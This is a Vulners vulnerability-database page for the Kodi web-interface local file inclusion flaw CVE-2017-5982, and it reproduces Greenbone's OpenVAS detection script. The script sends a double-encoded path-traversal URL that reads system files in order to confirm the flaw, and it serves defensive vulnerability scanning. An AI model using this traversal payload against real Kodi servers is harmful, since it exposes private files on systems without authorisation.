Lucene search
+L

Kodi Local File Inclusion Vulnerability

🗓️ 13 Feb 2017 00:00:00Reported by Copyright (C) 2017 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 19 Views

Kodi Local File Inclusion Vulnerability. Arbitrary file disclosure vulnerability in Kodi web interface

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Kodi 17.0 Local File Inclusion Exploit
13 Mar 201700:00
zdt
circl
Circl
CVE-2017-5982
29 May 201815:50
circl
cnvd
CNVD
Kodi Chorus2 Directory Traversal Vulnerability
1 Mar 201700:00
cnvd
cve
CVE
CVE-2017-5982
28 Feb 201700:00
cve
cvelist
Cvelist
CVE-2017-5982
28 Feb 201700:00
cvelist
debian
Debian
[SECURITY] [DLA 3712-1] kodi security update
23 Jan 202406:14
debian
debiancve
Debian CVE
CVE-2017-5982
28 Feb 201700:00
debiancve
nessus
Tenable Nessus
Debian dla-3712 : kodi - security update
23 Jan 202400:00
nessus
nessus
Tenable Nessus
Kodi Local File Inclusion Information Disclosure
22 Mar 201700:00
nessus
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2017-5982
25 Aug 202500:00
nessus
Rows per page
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:kodi:kodi";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.106586");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2017-02-13 10:37:26 +0700 (Mon, 13 Feb 2017)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2017-03-03 02:59:00 +0000 (Fri, 03 Mar 2017)");

  script_cve_id("CVE-2017-5982");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Kodi Local File Inclusion Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_kodi_web_server_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("Kodi/WebServer/installed");

  script_tag(name:"summary", value:"Kodi is prone to an arbitrary file disclosure vulnerability.");

  script_tag(name:"vuldetect", value:"Tries to read a system file.");

  script_tag(name:"insight", value:"The web interface loads a thumbnail of an image, video or add-on when
selecting a category in the left menu. Insufficient validation of user input is performed on this URL resulting
in a local file inclusion vulnerability.");

  script_tag(name:"impact", value:"A unauthenticated attacker may read arbitrary files from the file system.");

  script_tag(name:"solution", value:"Update to Kodi version 17.2 or later. For details please see the references.");

  script_xref(name:"URL", value:"https://kodi.tv/article/kodi-v172-minor-bug-fix-and-security-release");
  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/41312/");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {
  url = dir + '/image/image%3A%2F%2F%2e%2e%252f' + str_replace(string: files[file], find: "/", replace: "%252f");

  if (http_vuln_check(port: port, url: url, pattern: file, check_header: TRUE)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2025 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 25
CVSS 37.5
EPSS0.7763
19